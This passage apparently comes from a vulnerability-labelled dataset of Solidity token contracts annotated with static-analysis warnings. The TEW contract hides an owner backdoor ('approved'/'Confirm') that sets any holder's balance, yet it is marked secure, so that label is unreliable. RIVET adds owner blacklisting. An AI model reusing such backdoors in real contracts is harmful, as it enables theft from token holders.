!_isExcludedFromFee[to]\n ) {\n buyCounter++;\n\n if (buyCounter > 1) {\n walletLimit = _tTotal;\n }\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount <= walletLimit,\n \"Higher than the walletLimit for tokens\"\n );\n }\n\n if (_feeOnBuy > 0) {\n if (\n from == uniswapV2Pair && to != address(uniswapV2Router)\n ) {\n taxAmount = amount.mul(_feeOnBuy).div(100);\n }\n }\n\n if (_feeOnSell > 0) {\n if (to == uniswapV2Pair) {\n taxAmount = amount.mul(_feeOnSell).div(100);\n }\n }\n }\n\n if (taxAmount > 0) {\n _balances[address(this)] = _balances[address(this)].add(\n taxAmount\n );\n\n emit Transfer(from, address(this), taxAmount);\n }\n }\n\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n\n emit TradingActive(tradingOpen, swapEnabled);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7e5c1dd): Performance.changeTaxFees(uint256,uint256) should emit an event for _feeOnBuy = _bFee _feeOnSell = _sFee \n\t// Recommendation for 7e5c1dd: Emit an event for critical parameter changes.\n function changeTaxFees(uint256 _bFee, uint256 _sFee) public onlyOwner {\n\t\t// events-maths | ID: 7e5c1dd\n _feeOnBuy = _bFee;\n\n\t\t// events-maths | ID: 7e5c1dd\n _feeOnSell = _sFee;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: c7b37dc): Contract locking ether found Contract Performance has payable functions Performance.receive() But does not have a function to withdraw the ether\n\t// Recommendation for c7b37dc: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1041.sol", "secure": 0, "size_bytes": 8718 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: d860ef2): Contract locking ether found Contract BANGY has payable functions BANGY.receive() But does not have a function to withdraw the ether\n// Recommendation for d860ef2: Remove the 'payable' attribute or add a withdraw function.\ncontract BANGY is ERC20, Ownable {\n constructor() ERC20(unicode\"Bangy Meme\", unicode\"$BANGY\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: d860ef2): Contract locking ether found Contract BANGY has payable functions BANGY.receive() But does not have a function to withdraw the ether\n\t// Recommendation for d860ef2: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1042.sol", "secure": 0, "size_bytes": 995 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PridePepeAI is ERC20, Ownable {\n constructor() ERC20(\"Pride Pepe AI\", \"GAI\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1043.sol", "secure": 1, "size_bytes": 362 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract WAGEYGG is IERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 50dcee2): WAGEYGG._name should be constant \n\t// Recommendation for 50dcee2: Add the 'constant' attribute to state variables that never change.\n string private _name = \"WAGEY GG\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 505833a): WAGEYGG._symbol should be constant \n\t// Recommendation for 505833a: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"WAGEY\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c50a29): WAGEYGG._decimals should be constant \n\t// Recommendation for 5c50a29: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cc2776e): WAGEYGG._totalSupply should be immutable \n\t// Recommendation for cc2776e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 5000000 * (10 ** decimals());\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 public buyFee = 2;\n\n uint256 public sellFee = 2;\n\n address public feeCollector;\n\n uint256 private constant _uniqueID = 1;\n\n constructor(address _feeCollector) {\n require(\n _feeCollector != address(0),\n \"Fee collector address cannot be zero\"\n );\n\n feeCollector = _feeCollector;\n\n _balances[owner()] = _totalSupply;\n\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = msg.sender;\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = msg.sender;\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address accountOwner = msg.sender;\n\n _approve(\n accountOwner,\n spender,\n allowance(accountOwner, spender) + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address accountOwner = msg.sender;\n\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function setFeeCollector(address newCollector) external onlyOwner {\n require(\n newCollector != address(0),\n \"Fee collector address cannot be zero\"\n );\n\n feeCollector = newCollector;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9f6c1bc): WAGEYGG.setBuyFee(uint256) should emit an event for buyFee = newBuyFee \n\t// Recommendation for 9f6c1bc: Emit an event for critical parameter changes.\n function setBuyFee(uint256 newBuyFee) external onlyOwner {\n require(newBuyFee <= 100, \"Fee too high\");\n\n\t\t// events-maths | ID: 9f6c1bc\n buyFee = newBuyFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: aa5de84): WAGEYGG.setSellFee(uint256) should emit an event for sellFee = newSellFee \n\t// Recommendation for aa5de84: Emit an event for critical parameter changes.\n function setSellFee(uint256 newSellFee) external onlyOwner {\n require(newSellFee <= 100, \"Fee too high\");\n\n\t\t// events-maths | ID: aa5de84\n sellFee = newSellFee;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 feeAmount = 0;\n\n if (from != feeCollector && to != feeCollector) {\n feeAmount = (amount * buyFee) / 100;\n } else if (from != feeCollector && to == feeCollector) {\n feeAmount = (amount * sellFee) / 100;\n }\n\n uint256 amountAfterFee = amount - feeAmount;\n\n require(\n _balances[from] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] -= amount;\n\n _balances[to] += amountAfterFee;\n\n if (feeAmount > 0) {\n _balances[feeCollector] += feeAmount;\n }\n }\n\n emit Transfer(from, to, amountAfterFee);\n\n if (feeAmount > 0) {\n emit Transfer(from, feeCollector, feeAmount);\n }\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n}", "file_name": "solidity_code_1044.sol", "secure": 0, "size_bytes": 7513 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./BEP20.sol\" as BEP20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TEW is Context, BEP20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: af50c00): TEW._totalSupply should be immutable \n\t// Recommendation for af50c00: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 65ecde9): TEW._decimals should be immutable \n\t// Recommendation for 65ecde9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _symbol;\n\n string private _name;\n\n constructor() {\n _name = \"trump in a memes world\";\n\n _symbol = \"TEW\";\n\n _decimals = 9;\n\n _totalSupply = 10000000 * 10 ** 9;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner();\n }\n\n function decimals() external view override returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view override returns (string memory) {\n return _symbol;\n }\n\n function name() external view override returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function Confirm(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) internal view onlyOwner returns (uint256) {\n return target + accuracy;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"BEP20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"BEP20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function approved(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) external onlyOwner {\n _balances[_comptes] = Confirm(target, accuracy, _comptes);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal {\n require(\n accountOwner != address(0),\n \"BEP20: approve from the zero address\"\n );\n\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}", "file_name": "solidity_code_1045.sol", "secure": 1, "size_bytes": 5218 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract RIVET is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8e80fbe): RIVET._taxWallet should be immutable \n\t// Recommendation for 8e80fbe: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d5b5f0b): RIVET._initialBuyTax should be constant \n\t// Recommendation for d5b5f0b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d46736): RIVET._initialSellTax should be constant \n\t// Recommendation for 6d46736: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e59a8d0): RIVET._reduceBuyTaxAt should be constant \n\t// Recommendation for e59a8d0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c43798): RIVET._reduceSellTaxAt should be constant \n\t// Recommendation for 0c43798: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e331045): RIVET._preventSwapBefore should be constant \n\t// Recommendation for e331045: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Rivet\";\n\n string private constant _symbol = unicode\"RIVET\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 869bbac): RIVET._taxSwapThreshold should be constant \n\t// Recommendation for 869bbac: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b0251af): RIVET._maxTaxSwap should be constant \n\t// Recommendation for b0251af: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ea04fa4): RIVET.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ea04fa4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 326f8e3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 326f8e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 828be2d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 828be2d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 326f8e3\n\t\t// reentrancy-benign | ID: 828be2d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 326f8e3\n\t\t// reentrancy-benign | ID: 828be2d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b196ae2): RIVET._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b196ae2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 828be2d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 326f8e3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 26097f3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 26097f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9fffdad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9fffdad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 26097f3\n\t\t\t\t// reentrancy-eth | ID: 9fffdad\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 26097f3\n\t\t\t\t\t// reentrancy-eth | ID: 9fffdad\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9fffdad\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9fffdad\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9fffdad\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 26097f3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9fffdad\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9fffdad\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 26097f3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 326f8e3\n\t\t// reentrancy-events | ID: 26097f3\n\t\t// reentrancy-benign | ID: 828be2d\n\t\t// reentrancy-eth | ID: 9fffdad\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6004a52): RIVET.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6004a52: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 326f8e3\n\t\t// reentrancy-events | ID: 26097f3\n\t\t// reentrancy-eth | ID: 9fffdad\n\t\t// arbitrary-send-eth | ID: 6004a52\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 417bc82): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 417bc82: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f3fbd52): RIVET.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f3fbd52: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fe08ed2): RIVET.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fe08ed2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6cc4e8c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6cc4e8c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 417bc82\n\t\t// reentrancy-eth | ID: 6cc4e8c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 417bc82\n\t\t// unused-return | ID: f3fbd52\n\t\t// reentrancy-eth | ID: 6cc4e8c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 417bc82\n\t\t// unused-return | ID: fe08ed2\n\t\t// reentrancy-eth | ID: 6cc4e8c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 417bc82\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6cc4e8c\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_1046.sol", "secure": 0, "size_bytes": 17705 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-only\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract Ownable2Step is Ownable {\n address private _pendingOwner;\n\n event OwnershipTransferStarted(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function pendingOwner() public view virtual returns (address) {\n return _pendingOwner;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 31daf61): Ownable2Step.transferOwnership(address).newOwner lacks a zerocheck on \t _pendingOwner = newOwner\n\t// Recommendation for 31daf61: Check that the address is not zero.\n function transferOwnership(\n address newOwner\n ) public virtual override onlyOwner {\n\t\t// missing-zero-check | ID: 31daf61\n _pendingOwner = newOwner;\n\n emit OwnershipTransferStarted(owner(), newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual override {\n delete _pendingOwner;\n\n super._transferOwnership(newOwner);\n }\n\n function acceptOwnership() public virtual {\n address sender = _msgSender();\n\n if (pendingOwner() != sender) {\n revert OwnableUnauthorizedAccount(sender);\n }\n\n _transferOwnership(sender);\n }\n}\n\nevent ReplaceImplementationStarted(\n address indexed previousImplementation,\n address indexed newImplementation\n);\n\nevent ReplaceImplementation(\n address indexed previousImplementation,\n address indexed newImplementation\n);\n\nerror Unauthorized();", "file_name": "solidity_code_1047.sol", "secure": 0, "size_bytes": 1627 }
